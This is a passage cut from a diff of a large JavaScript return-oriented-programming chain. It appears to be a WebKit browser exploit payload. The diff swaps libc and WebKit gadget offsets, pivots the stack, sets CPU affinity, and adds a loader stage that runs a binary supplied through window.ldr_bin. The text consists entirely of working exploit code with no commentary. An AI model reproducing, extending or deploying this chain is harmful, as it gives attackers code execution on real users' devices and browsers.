rax libc_base+793877, //pop rsi -ropchain+299048, //L5484 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5482: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5484: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+299152, //L5487 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+299136, //L5486 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5486: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5487: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+299240, //L5489 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+299256, //L5490 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5489: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5490: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+811575, //pop rsp +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+299344, //L5492 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+299360, //L5493 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5492: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5493: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+562536, //mov [rdi], cx -libc_base+793877, //pop rsi -ropchain+299416, //L5495 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+206806 //pop rdi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5495: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+299512, //L5497 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L5496: -db([4294967286, 4294967295]); // -0xa -set_gadget(libc_base+788575,); //pop rax -//L5497: -db([0, 0]); // 0x0 +db([4294967080, 4294967295]); // -0xd8 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([200, 0]); // 0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+299592, //L5498 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5498: -db([0, 0]); // 0x0 +db([4294967088, 4294967295]); // -0xd0 set_gadgets([ -libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+299648, //L5501 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5501: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([192, 0]); // 0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5502: -db([2, 0]); // 0x2 -set_gadget(libc_base+788575,); //pop rax -//L5503: -db([2, 0]); // 0x2 +db([4294967096, 4294967295]); // -0xc8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([184, 0]); // 0xb8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx -libc_base+793877, //pop rsi -ropchain+299800, //L5504 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5504: -db([0, 0]); // 0x0 +db([4294967104, 4294967295]); // -0xc0 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+299856, //L5507 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5507: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +db([176, 0]); // 0xb0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+299992, //L5509 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+300008, //L5510 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+299976, //L5508 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5508: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5509: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5510: -db([0, 0]); // 0x0 +db([4294967112, 4294967295]); // -0xb8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+300152, //L5513 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+300120, //L5511 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+300136, //L5512 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L5511: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5512: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5513: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([168, 0]); // 0xa8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+300248, //L5516 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L5514: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5516: -db([0, 0]); // 0x0 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+300352, //L5519 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+300336, //L5518 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5518: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5519: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+300440, //L5521 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+300456, //L5522 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx +webkit_base+5202439, //and rax, rcx +libc_base+792472, //pop rcx +cpuset_setaffinity_addr, +webkit_base+2997875, //mov [rax], rcx +libc_base+793877 //pop rsi ]); -//L5521: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5522: -db([0, 0]); // 0x0 +db([4294967192, 4294967295]); // -0x68 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+300512, //L5524 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi ]); -//L5524: -db([0, 0]); // 0x0 +db([48, 0]); // 0x30 set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+300640, //L5526 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+300624, //L5525 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L5525: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5526: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([32, 0]); // 0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+300736, //L5527 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+300752, //L5528 -webkit_base+7438103, //mov [rsi], rax -webkit_base+432898 //pop r8 +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi ]); -//L5527: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5528: -db([0, 0]); // 0x0 +db([24, 0]); // 0x18 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([128, 0]); // 0x80 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+300864, //L5529 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+300848, //L5530 +ropchain+296400, //L5282 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+811575 //pop rsp ]); -//L5530: -db([0, 0]); // 0x0 -set_gadget(libc_base+811575,); //pop rsp -//L5529: +//L5282: db([0, 0]); // 0x0 -//_pin_to_cpu: +//_loader: set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+300936, //L5532 +ropchain+296472, //L5283 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L5532: +//L5283: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+301000, //L5534 +ropchain+296536, //L5286 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L5534: +//L5286: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([24, 0]); // 0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L5535: -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+301072, //L5537 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5537: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5536: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5538: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+301208, //L5541 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+301224, //L5542 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L5287: +(window.ldr_bin||0), libc_base+793877 //pop rsi ]); -//L5539: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5541: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5542: -db([0, 0]); // 0x0 +//L5288: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+301288, //L5545 +ropchain+296712, //L5290 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5545: -db([0, 0]); // 0x0 -//L5543: -set_gadgets([ +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+301352, //L5548 +ropchain+296696, //L5291 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5546: -db([4294967272, 4294967295]); // -0x18 +//L5291: +db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5548: +//L5290: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+301456, //L5551 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+301440, //L5550 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5550: +set_gadget(libc_base+788575,); //pop rax +//L5292: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5551: +//L5293: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+301600, //L5554 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+301568, //L5552 +ropchain+296840, //L5295 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+301584, //L5553 +ropchain+296824, //L5294 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5552: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5553: +//L5294: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5554: +//L5295: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+301680, //L5556 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+788575 //pop rax ]); -//L5556: +//L5296: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5555: -db([128, 0]); // 0x80 -set_gadget(libc_base+206806,); //pop rdi -//L5557: -db([128, 0]); // 0x80 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+301808, //L5559 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+301792, //L5558 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+792472 //pop rcx ]); -//L5558: -db([0, 0]); // 0x0 +//L5297: +db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L5559: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi +//L5298: +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx +libc_base+793877 //pop rsi +]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L5560: -db([8, 0]); // 0x8 +//L5299: +db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+301936, //L5562 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5562: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5561: -db([8, 0]); // 0x8 -set_gadget(libc_base+206806,); //pop rdi -//L5563: -db([8, 0]); // 0x8 +//L5300: +db([4096, 0]); // 0x1000 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+302072, //L5564 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+302104, //L5566 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+302088, //L5565 +ropchain+297152, //L5302 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5564: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5565: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5566: +//L5302: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1506828, //imul rax, rcx +webkit_base+75236, //or rax, rcx libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+302224, //L5568 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+788575 //pop rax ]); -//L5568: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5567: -db([1, 0]); // 0x1 -set_gadget(libc_base+206806,); //pop rdi -//L5569: +//L5304: db([1, 0]); // 0x1 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+302360, //L5570 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+302392, //L5572 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5305: +db([2, 0]); // 0x2 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+302376, //L5571 +ropchain+297344, //L5307 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5570: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5571: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5572: +//L5307: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+75236, //or rax, rcx libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877, //pop rsi -ropchain+302496, //L5573 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5309: +db([4, 0]); // 0x4 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+302512, //L5574 +ropchain+297488, //L5311 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5573: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5574: +//L5311: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx +webkit_base+75236, //or rax, rcx libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+793877, //pop rsi +ropchain+297600, //L5313 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L5575: -db([8, 0]); // 0x8 +//L5313: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +//L5314: +db([16, 0]); // 0x10 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+297720, //L5318 +webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+302680, //L5577 +ropchain+297704, //L5316 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5577: +//L5316: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5576: -db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L5578: -db([8, 0]); // 0x8 +//L5318: +db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+302816, //L5579 +ropchain+297888, //L5321 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+302848, //L5581 +ropchain+297904, //L5322 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+302832, //L5580 +ropchain+297872, //L5319 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+297856, //L5320 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5579: +//L5320: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5319: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5580: +//L5321: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5581: +//L5322: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1506828, //imul rax, rcx +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+302952, //L5582 +ropchain+297976, //L5323 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+302968, //L5583 +ropchain+297992, //L5324 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5582: +//L5323: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5583: +//L5324: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+303136, //L5586 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+303104, //L5584 +ropchain+298088, //L5326 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+303120, //L5585 +ropchain+298072, //L5325 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+206806 //pop rdi ]); -//L5584: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5585: +//L5325: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5586: +//L5326: db([0, 0]); // 0x0 -set_gadget(webkit_base+105267,); //pop rdx +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); +//L5327: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+7047212, //div rsi ; add rax, rcx -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877, //pop rsi -ropchain+303280, //L5588 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+303296, //L5589 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L5329: +ropchain+298240, //L5328 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+310152, //L5330 +//L5328: libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967248, 4294967295]); // -0x30 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+303264, //L5587 +ropchain+298312, //L5331 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L5587: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5588: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5589: +//L5331: db([0, 0]); // 0x0 